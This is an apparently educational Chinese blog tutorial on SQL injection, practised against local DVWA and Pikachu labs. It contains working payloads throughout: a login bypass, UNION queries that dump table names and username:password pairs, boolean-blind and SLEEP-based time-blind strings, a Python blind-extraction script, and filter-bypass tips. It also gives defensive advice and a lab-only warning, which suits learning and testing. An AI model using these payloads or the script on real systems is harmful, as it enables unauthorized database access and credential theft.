资讯详情

SQL注入核心攻击方式:原理、联合查询、布尔盲注与时间盲注

📅 2026/9/14 18:11:40 | 华诺云谱 👁 阅读
SQL注入核心攻击方式:原理、联合查询、布尔盲注与时间盲注
作为一个在安全圈摸爬滚打了挺多年的老油条我经常被刚入门的朋友问同一个问题SQL注入到底怎么学网上教程一大堆但要么讲得太浅只给个工具一把梭要么直接甩一堆代码让人劝退。这篇东西我想换个角度把SQL注入里的四种核心攻击方式——原理层面、联合查询、布尔盲注、时间盲注——掰开了揉碎了讲清楚。内容全部基于我在靶场上实操过的经验每一步都能跟着重复出来。不管你是安全方向的学生、刚转行做渗透测试的新人还是写代码时想知道漏洞怎么来的开发这篇文章应该都能给你点实在的参考。先交代一下背景。我一直强调学SQL注入一定要养成手工复现的习惯别一上来就挂sqlmap。工具能帮你打点但替代不了理解漏洞本质。本篇文章会围绕一套标准的攻击链路展开先判断注入点再根据回显情况选择攻击方式最后一步步拿到数据。整个过程我尽量用口语化的方式描述同时把每一个操作的“为什么”讲清楚。1. SQL注入的原理是什么——先搞清楚为什么会有这个洞很多人第一次听到“SQL注入”这五个字本能地觉得它是一个很高端的攻击技巧。其实真不是。SQL注入的根源说白了就一句话开发人员把用户输入的内容直接拼接进了SQL语句然后交给了数据库执行。1.1 代码拼接用户输入漏洞的根源来想象一个特别常见的登录场景。你在一个网站上输入用户名和密码点击登录。后端代码大概率会写成这样以PHP为例$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);这段代码的意图很好理解去数据库里找一条username等于你输入值、password也等于你输入值的记录。如果找到就让你登录成功。问题就出在$username和$password是直接塞进字符串的没有任何过滤或转义。这就像你写了一张取款单给银行柜员正常情况单子上应该写“取1000元”但柜员却把你单子上写的“取1000元再把保险柜里的账本也给我拿出来”当作取款指令去执行了。数据库不会分辨哪部分是程序员设计的指令、哪部分是用户输入的“脏数据”它只知道执行整条SQL。假设我们在用户名框里输入admin --那整条SQL语句就变成了SELECT * FROM users WHERE username admin -- AND password xxx这里的--是SQL里的注释符它会把后面所有的内容全部注释掉。最终数据库实际执行的语句等价于SELECT * FROM users WHERE username admin也就是说密码验证彻底失效了。这条语句一执行只要存在admin用户我们就直接登录进去了。这就是SQL注入中大名鼎鼎的“万能密码”绕过也是无数新手体验到的第一次“破防”。1.2 单引号试探手工检测注入点的方式知道了漏洞成因下一步就是怎么判断一个参数到底存不存在注入。我习惯用一个非常土但非常有效的方法——单引号试探法。比如目标URL是http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit我先正常访问一次记录下页面有什么内容。接着把参数改成http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1加了单引号后如果后端是直接拼接SQL语句就会变成SELECT first_name, last_name FROM users WHERE user_id 1多出来的引号导致SQL语法错误数据库会抛一个异常。这时候看页面反应页面报错显示数据库相关错误信息比如You have an error in your SQL syntax说明参数被直接拼进了SQL基本可以确定为注入点。页面正常显示或者弹出一个自定义的“非法输入”提示说明可能存在过滤需要继续测试。页面跳转到404或者空白可能是参数本身就不是查询用途需要换思路。有一种情况需要特别留意很多时候你输入单引号页面报错信息可能被开发人员关闭了生产环境很常见你就看不到具体SQL错误。这时候也不要慌可以继续尝试布尔型判断比如id1 and 11和id1 and 12对比两个响应内容是否一致。如果and 11时页面正常、and 12时页面异常那也能说明存在布尔型注入。单引号试探是整个手工注入的起点这一步判断对了后面选什么注入类型就顺理成章了。我见过太多新手上来就挂工具结果工具跑半天什么都没跑出来一问连注入点是不是这里都没确认过。这类基础操作千万别跳过。2. 联合查询注入——有回显场景下最快的一条路如果页面会直接显示SQL查询结果也就是我们常说的“有回显”那别犹豫优先考虑联合查询UNION注入。它绝对是你把数据拖出来最快的方式。2.1 判断列数ORDER BY与UNION的适配问题联合查询的核心思想是用UNION关键字把两个SELECT语句的结果合并返回。但UNION有一个硬性规定前后两个查询的列数必须保持一致。否则数据库一样会报错。所以我们需要先判断原查询的列数。判断列数的方法主要有两个方法一ORDER BY逐步试探id1 ORDER BY 1 id1 ORDER BY 2 id1 ORDER BY 3ORDER BY是对查询结果的第N列进行排序。如果N大于实际列数数据库会报错“Unknown column”。所以当某个数字报错时比如ORDER BY 4报错就说明原查询只有3列。方法二UNION SELECT逐步尝试id1 UNION SELECT 1 id1 UNION SELECT 1,2 id1 UNION SELECT 1,2,3如果某次尝试没有报错说明列数恰好匹配。两种方法我都用过个人更推荐ORDER BY因为它的报错信息比UNION更直观。但有的情况下开发人员在代码里对UNION做了过滤却忘了ORDER BY所以两个方法都掌握是必要的。2.2 从回显点位到拿到数据库名确定列数之后我们要确认页面到底把哪几列的数据回显出来了。这里有一个以前让我折腾半天的细节SQL查询的结果是有多行的UNION会把原始查询结果和我们的攻击查询结果合并。如果原始查询本身有数据页面最先显示的往往是原数据我们想要看的注入结果可能被挤到下面甚至被忽略掉。解决办法很简单让原始查询的结果为空。比如id-1因为在数据库里通常不存在负数ID原来的查询就不会返回任何行页面显示的就会全部是UNION注入部分的输出。假设判断出来原查询有3列我们就构造SELECT first_name, last_name FROM users WHERE user_id -1 UNION SELECT 1,2,3如果页面把2和3都显示出来了说明第2列和第3列是回显点位。接下来就可以把函数、变量放到这些位置上了。id-1 UNION SELECT 1,database(),version()执行后页面上会出现当前数据库名和版本号。get到这一步整个攻击链路就打通了。2.3 手工把库、表、字段、数据一条龙查出来拿到数据库名之后我习惯按照“库名 - 表名 - 字段名 - 数据”的顺序推进。先查当前库下所有表id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()这里用到了information_schema.tables这张系统表以及group_concat()函数。group_concat()可以把多行结果拼接到一行显示非常适合数据量小的时候用。查到一个关键表比如users之后继续查它的字段id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers最后脱数据id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users0x3a是冒号的十六进制表示用来把用户名和密码分隔开方便阅读。整个流程在命令行或者手工构造请求时都比较顺畅。有几个细节提醒一下表名、字段名最好先用hex()函数编码再放到SQL语句里避免引号被过滤。如果group_concat()被过滤了可以试试concat_ws()或者利用limit逐条查询。information_schema非常关键学注入务必把它的表结构和常用字段弄清楚。3. 布尔盲注——没有报错也没有回显时的黑暗摸索现实中很多网站不会让你直接在页面上看到数据库内容。你精心拼接了一个UNION注入结果页面还是和正常时一样什么额外信息都不显示。这种情况就要转变思路从“看回显”改为“看真/假”。3.1 页面真假对比布尔盲注核心逻辑布尔盲注的逻辑特别朴素。假设id1时页面是正常的id1时页面报错或者无内容那么我们可以利用条件语句来判断一个命题是真是假id1 AND 11 -- 页面正常 id1 AND 12 -- 页面异常/无内容如果这两种情况下页面表现不一致说明我们构造的条件会影响SQL查询结果进而影响页面内容。这就给了我们一个“暗号系统”每次猜一个字符通过页面的真/假来确认猜得对不对然后逐步还原出完整数据。布尔盲注我常用ASCII()和SUBSTRING()这两个函数的组合。SUBSTRING()用来从字符串中截取一个字符ASCII()用来获取字符的ASCII码方便和数字比较。3.2 手工猜解流程以库名第一个字符为例比如我们要盲注出数据库名的第一个字符。首先确认数据库名的长度id1 AND LENGTH(database())5页面正常说明长度大于5。继续二分法最终确定长度。知道长度后逐字符猜解id1 AND ASCII(SUBSTRING(database(),1,1))115如果页面正常说明数据库名第一个字符的ASCII码是115对应字母s。然后继续判断第2个字符、第3个字符……整个过程就是机械地把每一个字符猜出来。手工猜解非常费时我最初练布尔盲注的时候为了折腾一个库名硬是在终端一条条复制粘贴发了几百个请求。后来我学聪明了写了一个简单的Python脚本通过自动化来完成这些重复劳动。这里放一个简化的盲注脚本逻辑方便你对照理解import requests import string url http://127.0.0.1/dvwa/vulnerabilities/sqli/ cookies {PHPSESSID: your_session_id} charset string.ascii_lowercase string.digits string.punctuation def is_true(payload): params {id: payload, Submit: Submit} r requests.get(url, paramsparams, cookiescookies) return First name in r.text # 二分法猜解数据库名长度 low, high 1, 20 while low high: mid (low high) // 2 if is_true(f1 AND LENGTH(database()){mid}): low mid 1 else: high mid db_length low print(f[*] database length: {db_length}) current_db for pos in range(1, db_length 1): for ch in charset: if is_true(f1 AND ASCII(SUBSTRING(database(),{pos},1)){ord(ch)}): current_db ch print(f[*] current db: {current_db}) break第一次跑通这个脚本的时候我看着控制台一个字一个字蹦出数据库名那种成就感真的很难形容。布尔盲注看起来笨但它考验的是对SQL函数和逻辑判断的掌握程度这部分功底扎实了后面学什么注入都轻松。4. 时间盲注——连真假都分不出来时该怎么办有些网站更绝不管你的条件是真还是假页面都显示同样的内容。这时候布尔盲注就失效了因为你无法通过页面变化来区分条件真假。那就只能换个思路让“真”和“假”在时间维度上体现出差异。4.1 原理IF条件分支与SLEEP函数时间盲注的核心是SLEEP()函数和IF()函数的组合。SLEEP(5)会让数据库等待5秒再返回结果IF(条件, true返回值, false返回值)则根据条件选择执行哪个分支。我们构造一条这样的语句id1 AND IF(ASCII(SUBSTRING(database(),1,1))115,SLEEP(3),0)如果判断条件为真数据库会执行SLEEP(3)页面响应时间会明显变长如果为假数据库立即返回页面响应时间几乎不变。这样我们就把“真假”从“页面内容差异”转换成了“响应时间差异”。4.2 手工时间盲注的复现流程手工测试时间盲注我通常会先确认目标是否存在延迟。先构造一个必真条件id1 AND SLEEP(3)如果页面响应时间确实延迟了3秒左右说明SLEEP生效了时间盲注可行。接着按布尔盲注类似的方式逐字符猜解。比如判断数据库名第一个字符id1 AND IF(ASCII(SUBSTRING(database(),1,1))115,SLEEP(3),0)浏览器里打开这个URL用秒表计时页面如果超过2秒才加载完猜对了如果瞬间加载完继续换下一个字符试。手工时间盲注比布尔盲注更折磨人一个字符可能要试十几次每次都要等好几秒。但正是这种折磨让你对漏洞的本质记得特别深刻。现在我基本是先用工具打工具打不通的时候自己去手动分析延时逻辑。4.3 时间盲注的测量技巧与误判规避做时间盲注最大的坑是网络波动。你自己网速慢明明条件为假响应时间也可能延迟两三秒这就容易造成误判。我自己的应对方式有几点每个测试至少做两次两次都延迟才认定条件为真。给SLEEP()设置一个足够大的值比如5秒让它明显高于正常网络延迟。尽量使用IF配合SLEEP而不是直接SLEEP(条件)因为后者的写法在部分数据库版本中表现不同不如IF直观。另外提一个容易被忽略的点在高并发或者数据库负载较高的情况下即使没有注入页面本身也可能很慢。建议在测试前先多访问几次目标页面记录一个基准响应时间再对照这个基准去判断延迟。5. 靶场环境搭建与踩坑记录理论讲了这么多最后还是得落到实操上。很多人听说过DVWA、Pikachu、SQLi-Labs这些靶场但第一次搭环境时总会被各种小问题卡住这里我把自己的搭建过程和踩过的坑集中说一下。5.1 DVWA与Pikachu靶场快速搭建我常用的组合是PHPStudy加靶场源码Windows上操作起来比较省事。第一步安装PHPStudy启动Apache和MySQL服务。 第二步把DVWA的源码放进网站根目录一般是WWW文件夹。 第三步修改DVWA的配置文件。DVWA有一个config/config.inc.php.dist文件需要复制一份改名为config.inc.php然后填入数据库用户名和密码默认情况下用户名是root密码为空。这里有一个很常见的坑有人复制改名后忘记把文件里的password 改成自己数据库的密码结果页面一直提示“Database connection failed”还以为是环境坏了。遇到这个报错优先检查配置文件里的数据库连接信息。DVWA启动页面会检查PHP的某些扩展和配置如果提示有问题在PHPStudy里把对应扩展打开就行。DVWA默认有四种安全级别Low/Medium/High/Impossible先选Low练手。Pikachu靶场的安装方式类似都是一个源码包丢到网站根目录然后跟着安装向导走即可。Pikachu的好处是内置了很多专门的漏洞场景比如SQL注入的分类就比较细还有字符型、搜索型之类的变体。5.2 常见问题速查与防护思路问题现象可能原因解决方法页面提示数据库连接失败配置文件中的账号密码错误检查config.inc.php内的数据库账号密码输入单引号页面无变化参数经过宽字节或转义处理尝试宽字节注入或编码绕过联合查询不回显原查询结果不为空将参数改为一个不存在的值如-1时间盲注延迟不稳定网络波动增大SLEEP值多次测量取平均有过滤但不确定过滤了什么后端可能只是删除字符尝试双写、大小写、URL编码等方式绕过再补充一个重要提醒所有靶场练习都应该在本地环境完成不要拿真实网站练手。这既是合规问题也是安全问题。学习注入的本质是理解漏洞、学会防护和修复而不是破坏。从防护角度看了解攻击套路之后你应该能明白参数化查询、预编译语句、输入白名单校验、最小权限数据库账号这些防护手段为什么有效。它们的目标都是让用户的输入永远无法改变SQL语句的结构。你在攻击侧掌握得越深对防护的理解就会越透。在我个人看来SQL注入是所有Web安全入门者都必须练好的基本功。手工复现联合查询、布尔盲注和时间盲注会让你对整个漏洞的触发链路、利用方式和防御逻辑有完整的认知这种认知不是跑通一个工具就能获得的。纸上得来终觉浅靶场里多折腾几次比看十篇教程都管用。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。